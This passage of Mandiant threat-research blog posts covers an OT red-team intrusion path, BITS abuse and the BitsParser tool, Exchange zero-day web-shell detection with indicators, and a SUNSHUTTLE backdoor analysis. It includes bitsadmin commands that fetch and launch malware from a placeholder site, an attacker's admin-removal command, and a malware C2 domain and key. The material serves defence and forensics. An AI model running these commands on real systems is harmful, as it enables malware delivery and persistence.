scenario for an attacker targeting OT systems is to achieve their objective while remaining undetected. Mandiant’s Red Team works with clients across critical infrastructure industries to simulate attack scenarios in which actors can accomplish this goal by gaining access to OT systems via compromise of external facing IT networks. During these engagements, we emulate real actor behaviors to learn about our target and to determine the best paths for IT/OT network propagation. For this engagement, we simulated an end-to-end OT-specific attack scenario in which we tested the security controls and response capabilities of an organization to protect smart grid meter control infrastructure from an external attacker. Mandiant leveraged weaknesses in people, process, and technology to gain remote access from the public Internet and to achieve a set of pre-approved objectives in the OT environment. Establishing a Foothold in the IT Network Mandiant conducted a spear phishing exercise to gain initial access into the client’s enterprise network from the Internet. We defined a combination of two different phishing scenarios that we deployed to test email filtering and egress monitoring controls: Embedded link for a malicious file hosted on a Mandiant owned domain on the Internet Email attachment for a Microsoft Office document with auto – executable macro code This exercise allowed our team to achieve code execution on a user workstation in the enterprise environment and to establish an unattributable egress communication path to a Mandiant hosted Cobalt Strike Command and Control (C&C) server on the Internet. After establishing a stable communication path with workstations in the enterprise environment, we utilized the following publicly available offensive security tools (OST) to escalate privileges and to obtain domain administrator level access: ldapsearch to enumerate information in the enterprise domain PowerSploit to exploit common security misconfigurations in IT WMImplant to move laterally from one system to another in the internal network Mimikatz to extract credentials for local user and domain administrator accounts As domain administrators, we gained unrestricted access to a variety of resources connected to the enterprise domain (e.g. server resources, file shares, IT applications, and administrator consoles for IT systems). During the initial stages of our engagement, our actions were in no way different to other less sophisticated intrusions on industrial organizations, such as financially-motivated compromises. Defining Our Path to the OT Network Similar to real world threat actors carrying out targeted OT attacks, Mandiant’s OT Red Team dedicates significant effort for internal reconnaissance in the IT network to develop a logical mapping of the extended network architecture and discover targets of interest (people, processes, or technology). The information we acquire helps us to (a) define paths to propagate from the IT to the OT network and (b) achieve our final objective in the OT network without raising alarms. During OT Red Team engagements across different industries, we follow a real attacker’s cost-benefit analysis to determine which sources or methods are most likely to help us obtain that information. Figure 2: Information sources and target information from enterprise networks For this engagement, we leveraged the domain administrator credentials obtained in the previous phase to gain access to Microsoft System Center Configuration Manager (SCCM) in the IT network. Logged into the SCCM console, we leveraged software deployment features for collection to establish C&C over user workstations belonging to pre-selected departments in the client organization. Mandiant chose the specific groups based on the names of their departments and the description attributes, which suggested a high likelihood of member users with high privilege access for network infrastructure or application management. This included members of the following groups: network management, firewall administration, control engineering, and smart meter operations. Access to user workstations of target employees in these departments enabled us to: Capture keystrokes to obtain remote desktop protocol (RDP) credentials for the OT network by using a Cobalt Strike modified script Login to department file shares and extract OT system design documents Extract network design documents and backup files for OT firewall configurations found in the firewall management console Find plaintext credentials for OT management systems from operation manuals Internal reconnaissance in the IT network not only allowed us to obtain remote access credentials for the OT network, but to also gain a deeper understanding of the business processes and technical control system operations in the OT environment by reviewing internal OT-specific operational procedures and security documentation such as asset inventories and configurations. Propagating to the OT Network During the process of propagation from IT to OT networks, an actor will leverage previously compromised systems, credentials, or applications to access systems in higher security zones—such as OT demilitarized zones (DMZ). Based on our observations during multiple red teaming engagements and research, the most likely attack vectors for propagation are: Table 1: Most likely attack vectors for IT/OT propagation For this engagement, we initially analyzed the system architecture to define the best path to follow. Engineers from the target organization were required to use multi-factor-authentication (MFA) to gain remote access to jumpbox servers in the OT network. While not impossible, bypassing this setup would require more time and resources. We instead decided to search for other plausible attack propagation paths. Figure 3: Formal communication path from enterprise to OT network Reviewing the firewall configuration files, we identified a dedicated communication path for management access to a Microsoft Windows patch management server in a DMZ between the IT network and the OT network. This patch management server was running on a virtual machine in the DMZ network, while the administration console for the underlying hypervisor software itself was hosted in the IT network. Mandiant logged into the administration console for the hypervisor software using IT network domain administrator credentials. We then leveraged guest machine administration features via direct console access to execute commands on the patch management server in the DMZ network. The compromise of the patch management server in the DMZ allowed us to pivot via SMB connections to Microsoft Windows-based intermediary systems in the OT network. Figure 4: Remote attack propagation path from IT network to OT network Lastly, we compromised Microsoft Windows server systems in the OT network to complete the objectives of the exercise. Using OT credentials retrieved in the previous phases, we authenticated to the SMB service (using single factor authentication) by pivoting through the patch management server in the DMZ network. This enabled us to execute remote console commands on management servers (such as the domain controller) in the OT network. With access to the domain controller in the core OT network, we extracted credentials for high privilege domain administrator accounts in the OT network using DCSYNC and Mimikatz. Using these accounts, we gained control of management servers, application servers, and operator workstations in the OT network. Mandiant was also able to use compromised credentials to login to the human machine interface (HMI) portal for the meter control infrastructure and issue a disconnect command for a target endpoint meter in the smart grid environment. Strategic Collection and Detection Opportunities During Reconnaissance and Network Propagation Although specific capabilities such as malware and tooling vary amongst incidents, internal reconnaissance and network propagation are consistently needed for sophisticated adversaries to expand remote operations from external networks to OT systems. Focusing collection, detection, and hunting efforts on assets or information that are likely to be compromised during these phases presents defenders with strategic opportunities to hunt for and detect targeted adversary activity before it poses a risk to control systems. In a previous blog post stating our approach to OT security, we highlighted that IT networks close to production networks and OT intermediary systems remain the best zones to detect OT targeted attacks, a.k.a. “The Funnel of Opportunity”. As actors pivot across systems and networks to gather information and elevate privileges, they leave footprints that can be tracked before they propagate to critical systems. An actor who covertly performs internal reconnaissance and propagates to the OT network is already positioned to cause damage on mission critical assets and is unlikely to be discovered. Early detection of adversary activity before reaching critical OT systems will decrease the dwell time and the risk of an incident. OT defenders can prioritize collection and detection, alert triage, and incident response efforts by becoming familiar with the types of information and services that OT focused threat actors commonly search for during internal reconnaissance in IT networks and network propagation across OT intermediary systems. Understanding where this information resides presents defenders with a catalog of systems and networks to focus collection and detection efforts on. Defenders can create tailored detections to hunt for adversary activity pursuing this information, prioritize alert response efforts, and identify additional security controls to implement. Mandiant red teaming in OT can help organizations identify which data is valuable for attackers to support their network propagation efforts and which systems are most likely to be compromised by attackers targeting OT networks. Visit our website for more information or to request Mandiant services or threat intelligence. • M-Trends 2021: A View From the Front Lines by Jurgen Kutscher on April 13, 2021 at 1:45 pm We are thrilled to launch M-Trends 2021, the 12th edition of our annual FireEye Mandiant publication. The past year has been unique, as we witnessed an unprecedented combination of global events. Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage. We discuss all of this and much more in the full report, which is available for download today. But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks? In short, yes! Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average. This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days. This means—for the first time in M-Trends history—the median dwell time has dropped to under one month. Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack. Organizations across the globe must remain vigilant, to prepare for the next incident. There is much more to unpack in the M-Trends 2021 report. Here is a quick rundown of what to expect: By the Numbers: A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more. Ransomware: Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat. Newly Named Threat Groups: More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion. Pandemic-Related Threats: Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19. UNC2452/SUNBURST: UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage. Case Studies: Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits. For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape. Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit. Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends: one that provides an overview of the report and highlights key topics, another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region. Register now! • Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service by David Via on March 31, 2021 at 3:00 pm In this blog post we will describe: How attackers use the Background Intelligent Transfer Service (BITS) Forensic techniques for detecting attacker activity with data format specifications Public release of the BitsParser tool A real-world example of malware using BITS persistence Introduction Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files. Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption. Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload. The BITS service runs in a service host process and can schedule transfers to occur at any time. Job, file, and state information is stored in a local database. How Attackers Use BITS As is the case with many technologies, BITS can be used both by legitimate applications and by attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process. This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer. BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler. BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete. To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors. The notification commands associated with BITS jobs can specify any executable or command to run. Attackers have utilized this feature as a method for maintaining persistence of malicious applications. Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators. BITS jobs can be created using API function calls or via the bitsadmin command line tool. See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution. > bitsadmin /create download > bitsadmin /addfile download https://<site>/malware.exe c:\windows\malware.exe > bitsadmin /resume download > bitsadmin /complete download Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}. Added https://<site>/malware.exe -> c:\windows\malware.exe to job. Job resumed. Job completed. Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\windows\malware.exe. > bitsadmin /create persistence > bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\windows\i.exe > bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL > bitsadmin /resume persistence Figure 2: Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL. Creating BitsParser Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns. In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information. We created BitsParser, which parses BITS databases and returns information about jobs executed on endpoint systems. The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise. BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence. In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library. The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records. The QMGR Database BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\Microsoft\Network\Downloader directory. The database is stored to files named qmgr0.dat and qmgr1.dat. The two-file scheme appears to be used for back up and synchronization purposes. The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file. Windows 10 Changes The Background Intelligent Transfer Service has largely remained unchanged since its introduction. However, Windows 10 introduced significant changes to the service, including an all new database format. On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format. ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer. Windows 10 stores the QMGR database in a single file called qmgr.db. Separate transaction log files are maintained in the same directory. The most recent transaction log is stored to a file called edb.log, and three older transaction logs with numerical suffixes are typically present. Parsing ESE Databases In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format. To accomplish this, we needed a Python-based ESE database parser. Research led us to libesedb, which is a full ESE database implementation written in C with a Python wrapper. With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database. However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments. The only pure Python ESE database implementation we identified was part of the Impacket network toolset. Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values. Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required. We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases. The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code. Database Structure The Windows 10 QMGR database contains two tables: Jobs and Files. Both tables have two columns: Id and Blob. The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file. Fortunately, the job and file structures are largely unchanged from the previous database format. Job data starts with the control structure: Offset Field Size 0 Type 4 4 Priority 4 8 State 4 … 16 Job ID (GUID) 16 32 Name (UTF-16) variable variable Description (UTF-16) variable variable Command (UTF-16) variable variable Arguments (UTF-16) variable variable User SID (UTF-16) variable variable Flags 4 Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}. The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table. The file data uses the following structure: Field Size Destination Filename (UTF-16) variable Source Filename (UTF-16) variable Temporary Filename (UTF-16) variable Download Size 8 Transfer Size 8 unknown 1 Drive (UTF-16) variable Volume GUID (UTF-16) variable The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table. This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata. Recovering Deleted Records Active jobs have entries in the Jobs and Files tables. Records are deleted upon job completion or cancellation. As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion. The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases: Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}. Attempt to parse the following data as a normal file record. Locate job records by searching for job identifier GUIDs. Attempt to parse the following data as a normal job record. Handle incomplete job entries by parsing just the control structure and manually locate associated files if required. The following job GUIDs have been observed in QMGR databases:{E10956A1-AF43-42C9-92E6-6F9856EBA7F6} {4CD4959F-7064-4BF2-84D7-476A7E62699F} {A92619F1-0332-4CBF-9427-898818958831} {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD} {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF} {94416750-0357-461D-A4CC-5DD9990706E4} Correlate carved file records to carved jobs. Process all remaining carved file records that could not be correlated to active or deleted jobs. Historic records can also be found in transaction log files. Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs. While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information. BitsParser Tool Release At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations. To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser. This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information. Source code for BitsParser can be found at our GitHub page. Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them. When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read. The standalone BitsParser does not have this ability. The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized. BITS Persistence in the Wild In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser). Through numerous engagements Mandiant was able to profile the attacker’s Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption. In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand. Log analysis and telemetry provided by the customer’s on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation. Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe, which launched KEGTAP. However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint. A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements. As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor. Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe. 3 | Information | The BITS service created a new job: System update, with owner REDACTED 61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429. 64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds. Figure 3: Event log entries showing the creation of a BITS job for persistence Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database. The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host. As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP. Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments. Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments. { “JobType”: “download”, “JobPriority”: “normal”, “JobState”: “queued”, “JobName”: “System update”, “CommandExecuted”: “C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe”, “Files”: [ { “DestFile”: “C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe”, “SourceURL”: “http://127.0.0.1/tst/56/”, “DownloadByteSize”: 0 } ] } Figure 4: BitsParser output shows the malicious BITS job launching mail.exe Conclusion The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike. The BITS QMGR database can present a useful source of data in an investigation or hunting operation. BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity. • Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities by Matt Bromiley on March 4, 2021 at 10:30 pm Beginning in January 2021, Mandiant Managed Defense observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment. The observed activity included creation of web shells for persistent access, remote code execution, and reconnaissance for endpoint security solutions. Our investigation revealed that the files created on the Exchange servers were owned by the user NT AUTHORITY\SYSTEM, a privileged local account on the Windows operating system. Furthermore, the process that created the web shell was UMWorkerProcess.exe, the process responsible for Exchange Server’s Unified Messaging Service. In subsequent investigations, we observed malicious files created by w3wp.exe, the process responsible for the Exchange Server web front-end. In response to this activity, we built threat hunting campaigns designed to identify additional Exchange Server abuse. We also utilized this data to build higher-fidelity detections of web server process chains. On March 2, 2021, Microsoft released a blog post that detailed multiple zero-day vulnerabilities used to attack on-premises versions of Microsoft Exchange Server. Microsoft also issued emergency Exchange Server updates for the following vulnerabilities: CVE Risk Rating Access Vector Exploitability Ease of Attack Mandiant Intel CVE-2021-26855 Critical Network Functional Easy Link CVE-2021-26857 Medium Network Functional Easy Link CVE-2021-26858 Medium Network Functional Easy Link CVE-2021-27065 Medium Network Functional Easy Link Table 1: List of March 2021 Microsoft Exchange CVEs and FireEye Intel Summaries The activity reported by Microsoft aligns with our observations. FireEye currently tracks this activity in three clusters, UNC2639, UNC2640, and UNC2643. We anticipate additional clusters as we respond to intrusions. We recommend following Microsoft’s guidance and patching Exchange Server immediately to mitigate this activity. Based on our telemetry, we have identified an array of affected victims including US-based retailers, local governments, a university, and an engineering firm. Related activity may also include a Southeast Asian government and Central Asian telecom. Microsoft reported the exploitation occurred together and is linked to a single group of actors tracked as “HAFNIUM”, a group that has previously targeted the US-based defense companies, law firms, infectious disease researchers, and think tanks. In this blog post, we will detail our observations on the active investigations we are currently performing. As our experience with and knowledge of this threat actor grows, we will update this post or release new technical details as appropriate. For our Managed Defense Customers, we have launched a Community Protection Event that will provide frequent updates on this threat actor and activity. We will be discussing these attacks more in an upcoming webinar on Mar. 17, 2021. From Exploit to Web Shell Beginning in January 2021, Mandiant Managed Defense observed the creation of web shells on one Microsoft Exchange server file system within a customer’s environment. The web shell, named help.aspx (MD5: 4b3039cf227c611c45d2242d1228a121), contained code to identify the presence of (1) FireEye xAgent, (2) CarbonBlack, or (3) CrowdStrike Falcon endpoint products and write the output of discovery. Figure 1 provides a snippet of the web shell’s code. Figure 1: Snippet of the web shell help.aspx, crafted to identify the presence of endpoint security software on a victim system The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service. This activity suggested exploitation of CVE-2021-26858. Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server. This second, partially obfuscated web shell, named iisstart.aspx (MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system. As seen in Figure 2, the web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files. Figure 2: Snippet of iisstart.aspx, uploaded by the attacker in late January 2021 While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange. In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server. This was likely to establish both persistence and secondary access, as in other environments. In this case, Mandiant observed the process w3wp.exe, (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk. The file, depicted in Figure 3, matches signatures for the tried-and-true China Chopper. Figure 3: Snippet of China Chopper web shell found on a compromised Exchange Server system We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server: net group “Exchange Organization administrators” administrator /del /domain. This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain. If the system is in a single-system domain, it will execute on the local computer. Per Microsoft’s blog, they have identified additional post-exploitation activities, including: Credential theft via dumping of LSASS process memory. Compression of data for exfiltration via 7-Zip. Use of Exchange PowerShell Snap-ins to export mailbox data. Use of additional offensive security tools Covenant, Nishang, and PowerCat for remote access. The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments. This activity is followed quickly by additional access and persistent mechanisms. As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions. Investigation Tips We recommend checking the following for potential evidence of compromise: Child processes of C:\Windows\System32\inetsrv\w3wp.exe on Exchange Servers, particularly cmd.exe. Files written to the system by w3wp.exe or UMWorkerProcess.exe. ASPX files owned by the SYSTEM user New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory Reconnaissance, vulnerability-testing requests to the following resources from an external IP address: /rpc/ directory /ecp/DDI/DDIService.svc/SetObject Non-existent resources With suspicious or spoofed HTTP User-Agents Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise. If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor. Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis: At least 14 days of HTTP web logs from the inetpub\Logs\LogFiles directories (include logs from all subdirectories) The contents of the Exchange Web Server (also found within the inetpub folder) At least 14 days of Exchange Control Panel (ECP) logs, located in Program Files\Microsoft\Exchange Server\v15\Logging\ECP\Server Microsoft Windows event logs We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs. We will continue updating technical details as we observe more related activity. Technical Indicators The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity. To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators. The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered. UNC2639 Indicator Type Note 165.232.154.116 Network: IP Address Last known true: 2021/03/02 02:43 182.18.152.105 Network: IP Address Last known true: 2021/03/03 16:16 UNC2640 Indicator Type MD5 help.aspx File: Web shell 4b3039cf227c611c45d2242d1228a121 iisstart.aspx File: Web shell 0fd9bffa49c76ee12e51e3b8ae0609ac UNC2643 Indicator Type MD5/Note Cobalt Strike BEACON File: Shellcode 79eb217578bed4c250803bd573b10151 89.34.111.11 Network: IP Address Last known true: 2021/03/03 21:06 86.105.18.116 Network: IP Address Last known true: 2021/03/03 21:39 Detecting the Techniques FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors. Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FEC_Trojan_ASPX_Generic_2 FE_Webshell_ASPX_Generic_33 FEC_APT_Webshell_ASPX_HEARTSHELL_1 Exploit.CVE-2021-26855 Endpoint Security Real-Time (IOC) SUSPICIOUS CODE EXECUTION FROM EXCHANGE SERVER (EXPLOIT) ASPXSPY WEBSHELL CREATION A (BACKDOOR) PROCDUMP ON LSASS.EXE (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY) NISHANG POWERSHELL TCP ONE LINER (BACKDOOR) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) POWERSHELL DOWNLOADER (METHODOLOGY) Malware Protection (AV/MG) Trojan.Agent.Hafnium.A Module Coverage [Process Guard] – prevents dumping of LSASS memory using the procdump utility. Helix WINDOWS METHODOLOGY [Unusual Web Server Child Process] MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)] • New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452 by Lindsay Smith on March 4, 2021 at 5:00 pm Executive Summary In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository. SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities. Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection. Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001). The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor. Threat Detail Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511. The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise. The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection. Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign. Outlook and Implications The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools. Technical Annex Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution. Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)C2: reyweb[.]com UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd Infection Vector For the samples analyzed, the infection vector is not known. Execution Execution Summary SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following: Configuration settings determined Request a “session key” from the C2 Retrieve the “session key” from the C2Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop Begin command request beaconing Resolve command and perform action The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following: main.request_session_key main.define_internal_settings main.send_file_part main.clean_file main.send_command_result main.retrieve_session_key main.save_internal_settings main.resolve_command main.write_file main.beaconing main.wget_file main.fileExists main.encrypt main.decrypt main.random main.removeBase64Padding main.addBase64Padding main.delete_empty main.Unpad main.GetMD5Hash main.Pad Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample. Initial Execution Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter. Figure 1: Mac address check Configuration If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “﻿main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key: hz8l2fnpvp71ujfy8rht6b0smouvp9k8 The configuration has the following example values when Base64 decoded and AES decrypted: 48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w The configuration holds several values delimited by a “|” character, which are briefly described as follows. 48b9e25491e088a35105274cae0b9e67MD5 hash of the current timestamp calculated during execution. 5-15Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes 00 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting” 0Activate execution timestamp (0 by default) — execution “activates” or continues if current time is greater than the value in the configuration 